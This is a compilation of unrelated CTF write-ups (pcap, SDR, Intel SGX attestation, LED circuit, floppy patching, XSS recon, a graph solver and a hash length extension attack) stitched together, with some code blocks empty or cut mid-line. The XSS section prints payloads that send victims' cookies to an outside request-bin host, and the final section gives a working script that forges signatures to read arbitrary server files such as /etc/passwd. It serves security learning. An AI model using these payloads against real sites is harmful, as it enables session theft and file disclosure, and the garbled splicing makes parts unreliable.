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Network Admin :: Q1=================
Challenge Prompt--------
> The network admin is busy today, from the pcap, figure out the following questions.> > What is the network admin’s name?
-------------------
__For these challenges, three files were supplied: [`NET_ADMIN.pcapng`](../NET_ADMIN.pcapng), [`NET_ADMIN2.pcapng`](../NET_ADMIN2.pcapng), and [`Net_admin_Diagram.png`](../Net_admin_Diagram.png)__
Peyton was the one that solved this challenge. In the second [pcap] file, [`NET_ADMIN2.pcapng`](../NET_ADMIN2.pcapng), you can see a lot of connections with a `Password:` string, along with the text `joe` preceding it. Based on a guess, we assumed `joe` was the "name of the network admin".
__Flag: `joe`__
[pcap]: https://en.wikipedia.org/wiki/Pcap[PCAP]: https://en.wikipedia.org/wiki/Pcap[CyberSEED]: https://www.csi.uconn.edu/cybersecurity-week/[RTL-SDR]: https://www.rtl-sdr.com/[System76]: https://system76.com/[PCAP]: [pcap]: https://en.wikipedia.org/wiki/Pcap |
Network Admin :: Q2=================
Challenge Prompt--------
> Using the pcaps from Q1> What machine is the network admin on (IP address)?> NOTE: you get ONE attempt at this question
------------
__For these challenges, three files were supplied: [`NET_ADMIN.pcapng`](../NET_ADMIN.pcapng), [`NET_ADMIN2.pcapng`](../NET_ADMIN2.pcapng), and [`Net_admin_Diagram.png`](../Net_admin_Diagram.png)__
This was the first of many _awful_ questions, which I nicknamed "trigger" challenges, since we only got one shot. You could only try and submit the flag _once_, and if you ever had a typo or missed a letter or number or anything, ___too bad.___ Maybe I'm wrong, I'm only one dude, but I think that handicapping flag submission is an absurd thing to do at a CTF. Er, I have to refer to this a "GTF"... because for more than a handful of these you have to "_guess_ the flag."
I think a lot of people strayed from this question because you only had one chance... or they just pulled the trigger, missed, and got locked out of the challenge forever. Who knows.
I think the catch here is that in the [pcap] file we looked at in the previous challenge, [Q1](../q1), which was [`NET_ADMIN2.pcapng`](../NET_ADMIN2.pcapng), the "network admin" looks to be working from a 10.10.2.1 IP address.... but, if you examine the _first_ [PCAP], [`NET_ADMIN.pcapng`](../NET_ADMIN.pcapng). You can see there is an [SSH] connection to what we assume is the server (`10.10.2.200`) coming from `10.10.1.1`. Typically that is a gateway address, but we don't always see a router [SSH] into something all on its own... so I would think it would be a person using that machine.
Testing faith, I tried to submit it, and -- _thank god_ -- I got it.
__Flag was: `10.10.1.1`__
[SSH]: https://en.wikipedia.org/wiki/Secure_Shell |
SDR :: American Folk Hero================
Challenge Prompt----------
> Who is the hero of the intermittent transmission at 462.2 Mhz?
------------
This was the first of three challenges where we had to use a [Software Defined Radio]. They handed out some [RTL-SDR]s, but I had brought my own.
They let us know we only needed to _receive_, not transmit (thank goodness), so we seemed fine. I needed some way to actually hear the signal, so I went the easy route and went for [SDR#].
I was too lazy to reboot and deal with it and the drivers on the Windows side, so I just did it all on Linux. These are the commands I entered to install:
```apt install mono-complete libportaudio2 librtlsdr0git clone https://github.com/cgommel/sdrsharpcd sdrsharpxbuild /p:TargetFrameworkVersion="v4.5" /p:Configuration=Releasecd Release
ln -s /usr/lib/x86_64-linux-gnu/libportaudio.so.2 libportaudio.so
ln -s /usr/lib/x86_64-linux-gnu/librtlsdr.so.0 librtlsdr.dllmono SDRSharp.exe```
Then, we just blindly tried to listen with our [SDR]. Again, I didn't really like this challenge, because sometimes the organizers were transmitting, sometimes they weren't, that was never really communicated to us, there was some noise in the room, the signal wasn't always the best in some pieces of the room (and our seated setup was not one of them), so availability was off.
_Eventually_ (seriously after a long long while) we heard what was being played (it was a song) enough for me to try and scribble down lyrics.
I Googled what I had of the lyrics and tracked down the song. I tried the song writer, the singer, blah blah blah... when those didn't work, I went to the GTF organizer and asked for some clarification. I had the lyrics up on my laptop and he said, "well, who is the _hero_? The song should make it pretty clear..."
Oh. It was just some named character in the song. Okay. Whatever. Flag get.
The song was Convoy. C. W. McCall
__Flag__: `Rubber Duck`
[Software Defined Radio]: https://en.wikipedia.org/wiki/Software-defined_radio[SDR]: https://en.wikipedia.org/wiki/Software-defined_radio[RTL-SDR]: https://www.rtl-sdr.com/[SDR#]: http://airspy.com/ |
[writeup by @abiondo]
**CTF:** Pwn2Win CTF 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** reversing / Intel SGX
**Points:** 474
We were the only team to solve this challenge, so a writeup is definitely in order!
```The Rebelious Fingers discovered a tool used by ButcherCorp for secure communication. It is possible to request the flag, but it seems to be using some sort of encryption. Can you help us?```
We're given an [archive](./intelsgx_fd1abca8d26ddb5210e60f9f9a92de2e387733dfca220f13f1a1681b1430577e.tar.gz) with the following contents:
```client/client: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42d17308234552192042e76967243f77a5e3142d, not strippedserver/enclave.signed.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6027cdd5af323efe60812f7e3bfdb9f2e21da32c, not strippedserver/server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d6624b8445b573fbc678b4c1e0f0f788ede4b2b6, not stripped```
This challenge is centered around an [Intel SGX](https://software.intel.com/en-us/sgx) enclave. An enclave is an isolated container for code and data, often used to store secrets. Its memory can't be accessed even by the kernel, so SGX can protect against a malicious OS. An enclave runs in ring 3 (unprivileged) and can't issue syscalls: it interacts with the untrusted world via *ECALLs* and *OCALLs*. An ECALL is a call made from the outside to the enclave, while an OCALL is a call from the enclave to the outside. An important functionality of enclaves is *remote attestation*: an enclave can prove to a remote server that it is running securely and hasn't been tempered with.
I didn't have access to my SGX machine during the CTF, but in the end I was able to solve this statically, so everything worked out.
# The client
Let's start with the `client` binary. All it does is opening a socket to `enclave.butcher.team` on port 8088. Then, it prints `TODO: Finish client implementation.` and exits. Its only purpose is to give us the address of the remote server.
# The server
The `server` binary is what's running on the remote server. We have a few options:
```$ nc enclave.butcher.team 8088Hello there!What would you like to do?1: Get flag.2: Prove I'm worthy.3: Abort.```
The first command creates the enclave from `enclave.signed.so`, then makes an ECALL (index 0). Let's see what we get:
```WARNING: You haven't proved to be worthy!Here is the IV || tag || flag encrypted with the SK key and encoded as base64:6e1sXNqkt3L/ULDfh1W56Bphq8+S9a2DTntb9OVNfQlgYXU69sH8hhG99fBpQHFC1U0gLXnYV4uaM/EHwYxU3WAkhkKxP64EIlA=Good luck with it!Goodbye!```
Mmm, ok. The SK is a key negotiated during remote attestation, so there's probably an option for that. Indeed, the second option performs a remote attestation process and, if it is successful, makes the same ECALL to get the flag. The third options exits.
At this point, we want to know more about how things work inside the enclave, especially about the flag encryption.
# The enclave
The enclave is in `enclave.signed.so`. The first thing we want to do is find the ECALL table, so that we can find the function that is called to get the flag. The table is located at `0x2f9c60`. The server was calling ECALL 0, i.e., the first one in the table. This resolves to the `sgx_get_flag` function, which in turn just calls `get_flag`. Here's the decompiled output after some renaming:
```cvoid __cdecl get_flag(){ protected_fs_file *fd; // rax MAPDST char *v2; // rbx int v3; // edx unsigned int v4; // eax unsigned __int64 enc_flag_size; // rbx __int64 enc_flag; // r13 char *v7; // rdx int v8; // ecx unsigned int v9; // eax char *enc_flag_b64; // r12 char aes_key[16]; // [rsp+0h] [rbp-198h] char flag_path[25]; // [rsp+10h] [rbp-188h] __int16 v13; // [rsp+2Ch] [rbp-16Ch] char flag_buf[96]; // [rsp+30h] [rbp-168h] int v15; // [rsp+90h] [rbp-108h] char out_buf[200]; // [rsp+A0h] [rbp-F8h] unsigned __int64 v17; // [rsp+168h] [rbp-30h]
v17 = __readfsqword(0x28u); v13 = 0; strcpy(flag_path, "/home/sgx-chall/flag.txt"); memset(flag_buf, 0, sizeof(flag_buf)); v15 = 0; memset(out_buf, 0, sizeof(out_buf)); fd = (protected_fs_file *)sgx_fopen(flag_path, off_DB070, &flag_file_key); if ( fd ) { sgx_fread(flag_buf, 1uLL, 46uLL, fd); sgx_fclose(fd, 1LL); } *(_QWORD *)aes_key = 0LL; *(_QWORD *)&aes_key[8] = 0LL; v2 = flag_buf; do { v3 = *(_DWORD *)v2; v2 += 4; v4 = ~v3 & (v3 - 0x1010101) & 0x80808080; } while ( !v4 ); if ( !((unsigned __int16)~(_WORD)v3 & (unsigned __int16)(v3 - 0x101) & 0x8080) ) v4 >>= 16; if ( !((unsigned __int16)~(_WORD)v3 & (unsigned __int16)(v3 - 0x101) & 0x8080) ) v2 += 2; enc_flag_size = &v2[-__CFADD__((_BYTE)v4, (_BYTE)v4) - 3] - flag_buf + 28; // strlen(flag_buf) + 28 enc_flag = calloc(enc_flag_size, 1LL); if ( g_p_context ) sgx_ra_get_keys(*g_p_context, 1LL, aes_key); else sgx_read_rand(aes_key, 16LL); sgx_read_rand(enc_flag, 12LL); v7 = flag_buf; do { v8 = *(_DWORD *)v7; v7 += 4; v9 = ~v8 & (v8 - 16843009) & 0x80808080; } while ( !v9 ); if ( !((unsigned __int16)~(_WORD)v8 & (unsigned __int16)(v8 - 257) & 0x8080) ) v9 >>= 16; if ( !((unsigned __int16)~(_WORD)v8 & (unsigned __int16)(v8 - 257) & 0x8080) ) v7 += 2; sgx_rijndael128GCM_encrypt( aes_key, flag_buf, &v7[-__CFADD__((_BYTE)v9, (_BYTE)v9) - 3] - flag_buf, // strlen(flag_buf) (char *)(enc_flag + 28), (const char *)enc_flag, 12u, 0LL, 0, (void *)(enc_flag + 12)); enc_flag_b64 = (char *)calloc(2 * enc_flag_size, 1LL); base64encode((const void *)enc_flag, enc_flag_size, enc_flag_b64, 2 * enc_flag_size); if ( g_p_context ) strcpy(out_buf, "Well done! You have proved to be worthy!\n"); else strcpy(out_buf, "WARNING: You haven't proved to be worthy!\n"); print_ocall(out_buf, enc_flag_size); memset(out_buf, 0, sizeof(out_buf)); snprintf( out_buf, 200uLL, "Here is the IV || tag || flag encrypted with the SK key and encoded as base64:\n%s\nGood luck with it!\n", enc_flag_b64); print_ocall(out_buf, 200LL); free(enc_flag); if ( __readfsqword(0x28u) == v17 ) free(enc_flag_b64);}```
It reads the flag from `/home/sgx-chall/flag.txt`, then it encrypts it using AES128-GCM, and finally ships it back to us base64-encoded. It's very important to note where the AES key comes from. If the global variable I named `g_p_context` is not null, it's obtained via `sgx_ra_get_keys`, which provides a key that was negotiated during remote attestation. More precisely, it's a key called SK (because the second parameter is 1). If that global variable is null, it uses a random key. It looks like we need to perform remote attestation, so that the flag will be encrypted by a known key instead of an unpredictable random one. This is further confirmed by the fact that xrefs to `g_p_context` show that it's set during remote attestation. Moreover, the output will call us worthy or not depending on the same variable.
# Remote attestation
SGX remote attestation is a complex process. Most importantly, it relies on various cryptographic primitives: 256-bit elliptic curve Diffie-Hellman key exchange, ECDSA-SHA256, CMAC-AES128. I'm not much of a crypto guy, so I wanted implementations that just worked and didn't get in my way. We could play with various crypto libraries and fiddle with conversions from/to the SGX serialization format, but there's a better way. Intel ships a software crypto implementation with its SGX samples, which while marked as not for production use obviously works for remote attestation. Some wonderful guy by the name of Ofir Weisse took the time to write Python bindings for that crypto code, and released it as [sgx_crypto_wrapper](https://github.com/oweisse/sgx_crypto_wrapper). Since Python is my go-to language for CTFs, this was perfect. Just copy `sgx_crypto_wrapper.py` and `crypto_wrapper.so` to your working directory and you're good to go.
Speaking of Python, let me introduce a couple helpers for the upcoming code:
```pythonbytes_to_ints = lambda l : [ord(x) for x in l]array_to_str = lambda x : str(bytearray(x))```
The library we're using works with `ctypes`. The `bytes_to_ints` helper converts a string of bytes to an array of integers, which is what the library expects for buffers. The `array_to_str` does the opposite, and converts a `ctypes` array (which we get back from calls to the library) to a Python string. In the following code, I also assume that pwnlib has been initialized with a little-endian context, that `p` is a pwnlib tube to the challenge server and that `sgx` is an instance of `SGXCryptoWrapper` (i.e., the library).
Great, let's delve into the actual attestation process. In this process, a client (the enclave) proves it's running securely to a *service provider* (SP), which runs on a remote server. In this case, we are the SP and the challenge server is actually the client. Since in our case this client/server naming is confusing, I will refer to the challenge as the enclave and to us as the SP.
After selecting the second option, the enclave asks us for our public key (encoded with base64). This request is known as `msg0` in SGX jargon. Each party owns a 256-bit ECDH key pair to negotiate a shared secret. Public keys are 64 bytes, while the private part is 32 bytes. All we have to do is create a keypair and send the public key over:
```python# generate SP EC256-DHKE key pairsp_privkey, sp_pubkey = sgx.CreateECC256_keyPair()sp_pubkey_bytes = array_to_str(sp_pubkey)# send SP pubkeyp.recvuntil('Give me your public key encoded as base64.\n')p.sendline(b64e(sp_pubkey_bytes))```
After this, the enclave sends us its public key, encoded with base64. This is known as `msg1`. Simple enough:
```python# get client's pubkeyp.recvuntil('Here goes MSG1 encoded as base64:\n')client_pubkey_bytes = b64d(p.recvline())[:64]```
Now that we have exchanged public keys, we have to calculate the Diffie-Hellman shared secret. The wrapper library makes this a breeze:
```python# derive ECDH shared keyshared_key = sgx.ComputeSharedSecret(sp_privkey, bytes_to_ints(client_pubkey_bytes))```
At this point, we have to derive various keys from the shared DH secret. Those keys will be used in future communication and, most importantly, to encrypt the flag. Key derivation (along with the ECDH calculation) happens inside the `sgx_ra_proc_msg2_trusted` function in the enclave. Its implementation is identical to the [one in the SDK](https://github.com/01org/linux-sgx/blob/master/sdk/tkey_exchange/tkey_exchange.cpp#L148). Keys are derived using the `derive_key` function, which again is identical to the [SDK implementation](https://github.com/01org/linux-sgx/blob/master/common/src/ecp.cpp#L52). Since everything's from the SDK, we can just use the nice `DeriveKey` method of the wrapper library. There are four derived keys: SMK, SK, MK and VK. We won't need all of them, but let's be generous (the wrapper expects NUL-terminated tags):
```python# derive other shared keyssm_key = sgx.DeriveKey(shared_key, 'SMK\x00')s_key = sgx.DeriveKey(shared_key, 'SK\x00')m_key = sgx.DeriveKey(shared_key, 'MK\x00')v_key = sgx.DeriveKey(shared_key, 'VK\x00')```
Now comes the big moment. After giving us its public key, the enclave asks us for `msg2`. Real attestation would also include `msg3` and `msg4`, but the challenge stops at this one. The format of `msg2` is available from the SDK:
```ctypedef struct _ra_msg2_t{ sgx_ec256_public_t g_b; /* the Endian-ness of Gb is Little-Endian */ sgx_spid_t spid; uint16_t quote_type; /* unlinkable Quote(0) or linkable Quote(1) in little endian */ uint16_t kdf_id; /* key derivation function id in little endian. */ sgx_ec256_signature_t sign_gb_ga; /* In little endian */ sgx_mac_t mac; /* mac_smk(g_b||spid||quote_type||kdf_id||sign_gb_ga) */ uint32_t sig_rl_size; uint8_t sig_rl[];} sgx_ra_msg2_t;```
Let's take this field by field:
- `g_b` is the SP's public key.- `spid` is unused in this challenge (the enclave tells us `Tip: use any SPID; we won't be needing it anyway.`).- We don't care about `quote_type`. I set it to 1 (linkable).- `kdf_id` must be 1 (see `sgx_ra_proc_msg2_trusted` code).- `sign_gb_ga` is the ECDSA-SHA256 signature of the SP's public key (`gb`) concatenated with the enclave's public key (`ga`). The signing key is the SP's key.- `mac` is the CMAC-AES128 of the message so far. The CMAC key is the SMK.- `sig_rl_size` is the size of the signature revocation list (`sig_rl`). I set this to zero, and didn't append a revocation list.
Okay, now we can build `msg2` and send it over:
```python# build msg2gb_ga = sp_pubkey_bytes + client_pubkey_bytesmsg2 = sp_pubkey_bytes # g_bmsg2 += '\x00'*16 # spid (unused)msg2 += p16(1) # quote_type = linkablemsg2 += p16(1) # kdf_idmsg2 += array_to_str(sgx.SignECDSA(bytes_to_ints(gb_ga), sp_privkey)) # sign_gb_gamsg2 += array_to_str(sgx.Rijndael128_CMAC(bytes_to_ints(msg2), sm_key)) # macmsg2 += p32(0) # sig_rl_size# send msg2p.recvuntil('anyway.\n')p.sendline(b64e(msg2))```
The attestation is successful, and we get the flag encrypted with a known key:
```Well done! You have proved to be worthy!Here is the IV || tag || flag encrypted with the SK key and encoded as base64:QXkHCptLRJLr7eX7fqs14LF9aSlm3XXoYA0dGYSd/GppQ64EsA6dK0Hp6lZhAkcq1m4g/0/47yKNJzhCGTGqToYZUxt9FYF3WmY=Good luck with it!Goodbye!```
# Decrypting the flag
Earlier we saw that the flag was encrypted using AES128-GCM (Galois/Counter Mode) with the SK. As far as the encryption goes, it works like a normal counter mode. However, GCM also produces an authentication tag that can be used to verify the integrity of the data. From the `get_flag` function, we can see that the first 12 bytes are the counter IV, followed by 16 bytes of authentication tag, followed by the ciphertext. The SGX wrapper doesn't offer AES128-GCM, but the `cryptography` Python library does:
```pythonfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
def decrypt_flag(s_key, flag_enc): iv = flag_enc[:12] tag = flag_enc[12:28] cipher = flag_enc[28:] dec = Cipher(algorithms.AES(s_key), modes.GCM(iv, tag), backend=default_backend()).decryptor() return dec.update(cipher) + dec.finalize()```
Which gives us the flag: `CTF-BR{SGX_aTt35T4t10N_15_v3Ry_51MpL3_1nD33d!}`.
Full script can be found [here](./solve.py). |
Reconnect until you get 4 char output from server on first try, proceed to flip bytes until you get 6 characters back, at which point you reverse the decoding process and submit the secret to grab the flag. Read the writeup for more detail. |
> Molly was able to take pictures of a strange digital circuit sketch, along with an also strange message. All of these things were inside an envelope in a safe, which was labeled "Top Secret".> > We believe it might contain Butcher Corp's plans for the future, can you help us read the message?> > [Strange Circuit](https://0x99.net/wp-content/uploads/2017/10/StrangeCircuit.jpg)> > [Message](https://0x99.net/wp-content/uploads/2017/10/Message.txt)
To start off we are given a circuit diagram and an input file. Taking a look at the circuit, I recognized the JK Flip-Flop zero to seven counter in the upper right, with the current value being fed into a MUX. Following this, we see that the MUX is sending a positive value to one of eight transistors which in turn provide a ground to one row of diodes. Looking over the circuit, we can note that there are 9 (0-8) inputs, this matches the *Message.txt* file we got. Input 0 is used to clock the JK Flip-Flop circuit, while inputs 1-8 are fed to the grid of diodes.
At this point, I was a little stuck. I didn't understand how to get anything useful from this. So I showed the diagram to an Electrical Engineering friend of mine. He suggested that the diode grid was actually a *Light Emitting* Diode grid. Immediately I realized that had to be it, it's an LED matrix! So some quick python code to read in the file and...
Well that doesn't look right... I think I see "CTF" in there, but... Well no, something went wrong. Back to the circuit! Then I realized, inputs 2,3,7, and 8 are inverted! They go through two transistors! Let's invert those inputs in the code!
There it is! We got a flag!
```pythonfrom PIL import Image #Black and white pixelsOFF = (0,0,0)ON = (255,255,255) #Read in the file and split it into "letters"with open("Message.txt", 'r') as f: blocks = f.read().split("\n\n") #Create an empty image with the right dimensionsimg = Image.new("RGB", (len(blocks)*8,8)) for n,block in enumerate(blocks): #Set the x offset depending on the character dx = n*8 #Split the block into lines only using positive clocked lines #We don't care about the zero lines chunked = [] for line in block.split("\n"): if line[0] == "1": chunked.append(line.split(" ")[1:]) print(chunked) #Draw the pixels for y,chunk in enumerate(chunked): for x,val in enumerate(chunk): #Should this one be inverted? if x in [1,2,6,7]: if val == "0": pix = OFF else: pix = ON else: if val == "1": pix = OFF else: pix = ON img.putpixel((x+dx,y), pix) img.save("solved.png")``` |
# SquareCTF## floppy
## Information**Category:** | **Points:** | **Author:**--- | --- | ---Reverse | 1000 | zznop
## DescriptionOur team of corn snakes formed an uneasy alliance with the office mice and slithered into the server room of Evil Robot Corp. They extracted an image of the VPN server before they had to retreat. Turns out sending a team of reptiles into a room whose main purpose is to keep its contents cold wasn’t the best idea.Can you figure out how this bootable floppy works and recover the secret data?
## Solution
After downloading floppy.img, I used binwalk to identify function entry points to disassemble in Binary Ninja.
```$ binwalk -A floppy.img
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------1170 0x492 Intel x86 instructions, nops1216 0x4C0 Intel x86 instructions, function prologue1281 0x501 Intel x86 instructions, nops1640 0x668 Intel x86 instructions, nops1939 0x793 Intel x86 instructions, nops2784 0xAE0 Intel x86 instructions, function prologue2967 0xB97 Intel x86 instructions, nops3861 0xF15 Intel x86 instructions, nops...```
After identifying addresses of x86 prologues, I loaded the image into Binja and disassembled functions until I ended up with a few coherent routines I could analyze. The binary contained only a few strings overall but the three worth mentioning included “Code?”, “Nope”, and “flag-“. Once I was all setup in Binary Ninja, I booted up the disk in QEMU to see what it does.
```$ qemu-system-i386 -fda floppy.img```
The image booted in QEMU and prompted for some input. After entering 4 characters it printed out “Nope” and halted. I proceeded to look at the cross references for the “Nope” string in Binja and quickly discovered a conditional branch that, depending on what code path it traverses, prints “Nope” or contains instructions that reference the “flag-” string. This code is depicted below:
At this point I knew I would have to solve the problem in one of two ways. Either I’d have to reverse engineer the logic and generate the correct input (if the correct input was used to decode the flag), or I could simply NOP over the jmp instruction to force it to traverse the code path that appears to decode and display the flag. I chose to first attempt to NOP out the jump instruction. Using Binja, I simply right clicked on the conditional branch instruction, then clicked "Patch" and "Never Branch". Binja automagically NOP'd over the jump instruction.
I saved the patched binary as floppy-patched.img, booted into QEMU, and after providing random 4 characters, it spit out the flag.
 |
# BlackBox Pentesting
```Our agents found a BSC server which is used to contact one of the Corp's sysadmins. We managed to get hisIP (45.77.146.27), but we still haven't found it's domain. After obtaining the domain, we believe it'spossible to exploit their website somehow, and then obtain sensitive data. Use your old school pentestingskills and you will be rewarded!
dir(search|buster|*) tools NOT needed and NOT allowed!
Id: blackbox_pentesting
Total solves: 4
Score: 420
Categories: Web, Recon```
For this challenge, the only thing that we have is an IP. The description suggests that we should reverse-dns this ip to get the corresponding domain.
I used [dnstrails.com](http://dnstrails.com/) and it showed me that the domain was `bloodsuckers.world`.The website was made of a contact form asking for a name and a message. And that was all, nothing else. I tried both SQLi and XSS injection, and it turned out that the message is XSS-injectable, so i tried to steal the admin's cookies:
```html<script>new Image().src="http://requestb.in/XXXX?cookie=" + document.cookie;</script>```
(I used [requestb.in](http://requestb.in) the whole challenge)
And the cookies where: `Nice_try!=But_you_need_to_dig_deeper`
Nice, i'm getting troll :')
So let's dig deeper and print more information. I tried both local and session storage, and both were empty. I tried to print the HTML of the page, and found nothing interesting.Then i tried to print the URL of the page:
```html<script>new Image().src="http://requestb.in/XXXXX?path=" + encodeURI(document.location);</script>```
Turned out to be `http://sandbox.bloodsuckers.world/render` !
Oh, it's not the same domain, so the cookies that i'm reading are the ones of `sandbox.bloodsuckers.world` and not the ones of `bloodsuckers.world` (cookies aren't shared (by default) between subdomains).
So here came the point where i struggled the most, and i suddenly realised that not only the message is XSS-injectable, but the username too ! And guess what, when you submit the form, it says "Dear XXX, thank you and we will answer you shortly" (or something like that).
So here was the plan: 1) First, submit a message that is going to be read in `sandbox.bloodsuckers.world` 2) Use this message to submit the form of `bloodsuckers.world` for the user, using a name that contains an XSS injection to steal the cookie 3) At the page 'Dear XXX', the code is executed and the cookie are stolen! Easy, or no. The name is limited to 12 characters only (client-side and server-side checked).But if you send it twice, the backend application is gonna concat them into one, and only the first one is limited to 12 characters.
With all that, i was ready to craft the ultimate payload:
```html<script>var form = document.createElement("form");form.setAttribute("method", "POST");form.setAttribute("action", "http://bloodsuckers.world/admin/contact");
var hiddenField = document.createElement("input");hiddenField.setAttribute("type", "hidden");hiddenField.setAttribute("name", "name");hiddenField.setAttribute("value", "lol");
var hiddenField3 = document.createElement("input");hiddenField3.setAttribute("type", "hidden");hiddenField3.setAttribute("name", "name");hiddenField3.setAttribute("value", '\'; new Image().src="https://requestb.in/XXXXX?cookie=" + document.cookie; //');
var hiddenField2 = document.createElement("input");hiddenField2.setAttribute("type", "hidden");hiddenField2.setAttribute("name", "message");hiddenField2.setAttribute("value", "lol2");
form.appendChild(hiddenField);form.appendChild(hiddenField2);form.appendChild(hiddenField3);
document.body.appendChild(form);form.submit();
</script>```
And the flag was `CTF-BR{D0_y0u_eV3n_5oP?}`
Thank you for reading,
The `Rapace Diabolique` |
At first glance, this appears to be some sort of pathing problem, and we realized that the [Floyd-Warshall Algorithm](https://en.wikipedia.org/wiki/Floyd–Warshall_algorithm) would be appropriate. However, we needed to tweak it for our needs. Instead of computing/storing the lengths of the shortest paths, we instead compute/store the minimum resistance value on the paths, then update the paths so that the "longest path" (i.e. the one with the greatest least resistance) will be preferred.
Regarding the actual challenge, it took a while to figure out the right output format. It turns out the output has to be separated by newlines, but a newline cannot come after the last output line for a graph, else the server parses it incorrectly and gives `WRONG ANSWER`. The code below assumes that the node names are integers, even though the problem says they are strings, and that the node numbers in the given graphs never exceed 99 (index 100).
```#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>
using namespace std;
// ========================================================================pid_t connect(const char *hostport, FILE* &inf, FILE* &outf);// ========================================================================
#define SIZE 100#define LINE_SIZE 200
int first = 0;int minNode = 1000;int maxNode = -1000;int board[SIZE][SIZE];char line[LINE_SIZE];char answer[5000];
// ========================================================================
void readData(FILE* in){ int one, two, three; // initialize the board for (int i = 0; i < SIZE; i++) { for (int j = 0; j < SIZE; j++) { board[i][j] = -1000; } } // while there are connections to be read in while (sscanf(line, "%d %d %d", &one, &two, &three) == 3) { printf("connection: %s", line); board[one][two] = three; board[two][one] = three; if (one < minNode) minNode = one; if (two < minNode) minNode = two; if (one > maxNode) maxNode = one; if (two > maxNode) maxNode = two; fgets(line, LINE_SIZE, in); } maxNode++; // make it one greater for nice for loop bounds}
// ========================================================================
void floydWarshall(){ // compute everything for (int k = minNode; k < maxNode; k++) // intermediate { for (int i = minNode; i < maxNode; i++) // from { for (int j = minNode; j < maxNode; j++) // to { if ((i == k) || (j == k) || (i == j)) continue; // is a loop if ((board[i][k] < 0) || (board[k][j] < 0)) continue; // no path possible int testr = (board[i][k] < board[k][j] ? board[i][k] : board[k][j]); // if more resistant, combine paths ik and kj into one path if (testr > board[i][j]) { board[i][j] = testr; } } } }}
// ========================================================================
void solve(FILE* in, FILE* out){ int from; int to; char* loc = &answer[0]; printf("solving %s", line); // we can start out doing this because the first line is already in the line buffer // since we had to read it to know when to stop reading edge definitions while (sscanf(line, "%d %d", &from, &to) == 2) { loc += sprintf(loc, "%.1f\n", (float)board[from][to]); printf("solved %s", line); if (fgets(line, LINE_SIZE, in) == 0) { break; } } loc[-1] = '\0'; // lop off the last newline printf("%s", answer); fprintf(out, "%s", answer); fflush(out);}
// ========================================================================
int main(){ FILE* in = stdin; FILE* out = stdout; connect("programming.pwn2win.party:9002", in, out); while (fgets(line, LINE_SIZE, in) != 0) { printf("%s", line); readData(in); floydWarshall(); solve(in, out); printf("%s", line); } return 0;}
// ========================================================================
pid_t connect(const char *hostport, FILE* &inf, FILE* &outf) { int pipein[2], pipeout[2]; if (pipe(pipein) != 0 || pipe(pipeout) != 0) { perror("pipe"); exit(1); }
const pid_t pid = fork(); if (pid == 0) { // Child close(pipeout[1]); dup2(pipeout[0], STDIN_FILENO); close(pipein[0]); dup2(pipein[1], STDOUT_FILENO); execlp("openssl", "openssl", "s_client", "-CAfile", "/etc/ssl/certs/ca-certificates.crt", "-quiet", "-verify", "true", "-connect", hostport, (const char*)NULL); perror("execl"); exit(1); }
if ((inf = fdopen(pipein[0], "r")) == NULL || (outf = fdopen(pipeout[1], "w")) == NULL) { perror("fdopen"); exit(1); } setvbuf(inf, NULL, _IONBF, 0); setvbuf(outf, NULL, _IONBF, 0); return pid;}
// ========================================================================
``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span>hack.lu 2017<span>/</span> </div> </div>
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# GSA Main Server
The participants were given a portal containing some information and it has some features such as downloading attachments and etc. After spending some time on the task, I notieced a comment in the last line of index.php file:
```
```
Indicating the file has been modified by vim, so I checked `index.php~`, nothing useful but:```
```I checked all pages by adding ~ and, `functions.php~` was there:```fetch_assoc()){ $rows[] = $row; } return $rows;}
// end```On the other side, in portal (*http://178.62.34.76/showInformation/2*) there was an attachment to download:
```GET /getAttachment/file.txt HTTP/1.1Host: 178.62.34.76User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Signature: beb2e68c628653c72abcb388b078cfdaX-Requested-With: XMLHttpRequestReferer: http://178.62.34.76/showInformation/2Connection: close```
It had two important parts, filename which was given by URL and `X-Signature: beb2e68c628653c72abcb388b078cfda` which prevented from changing file name:```GET /getAttachment/blahblah HTTP/1.1Host: 178.62.34.76User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Signature: beb2e68c628653c72abcb388b078cfdaX-Requested-With: XMLHttpRequestReferer: http://178.62.34.76/showInformation/2Connection: close
Rsponse: Error: Invalid Signature has been given```
Back to the functions.php, if makeSignature makes the signature, there are two notes:
+ The key cannot be brute forced, because the length was 10 character as mentioned in comment+ The function was vulnerbale to Hash Length Extension
So I used hashpumpy library to exploit the hole:
```import requestsimport hashpumpyimport urllibimport sys
if len(sys.argv) != 2: print '' print '[>] Usage: python {} [path]'.format(sys.argv[0]) print '[>] Example: python {} ../../../../../../etc/passwd'.format(sys.argv[0]) print '' sys.exit()
new_digest, new_data = hashpumpy.hashpump('beb2e68c628653c72abcb388b078cfda', 'file.txt', '?/' + sys.argv[1] , 32)new_data_encoded = urllib.quote_plus(urllib.quote_plus(new_data))
print ''print '[>] New Signature: {}'.format(new_digest)print '[>] New data: {}'.format(new_data.encode('hex'))print '[+] Result:'print ''print '~~~~~~'
headers = {'X-Signature': new_digest}response = requests.get('http://178.62.34.76/getAttachment/' + new_data_encoded, headers=headers);print response.text;
print '~~~~~~'print ''```
Result:
I spent much time here, figured out that two files were important to read:
+ Squid config + .htaccess
The htaccess source:
```RewriteEngine on
RewriteRule simple-php-captcha.php simple-php-captcha.php [L]
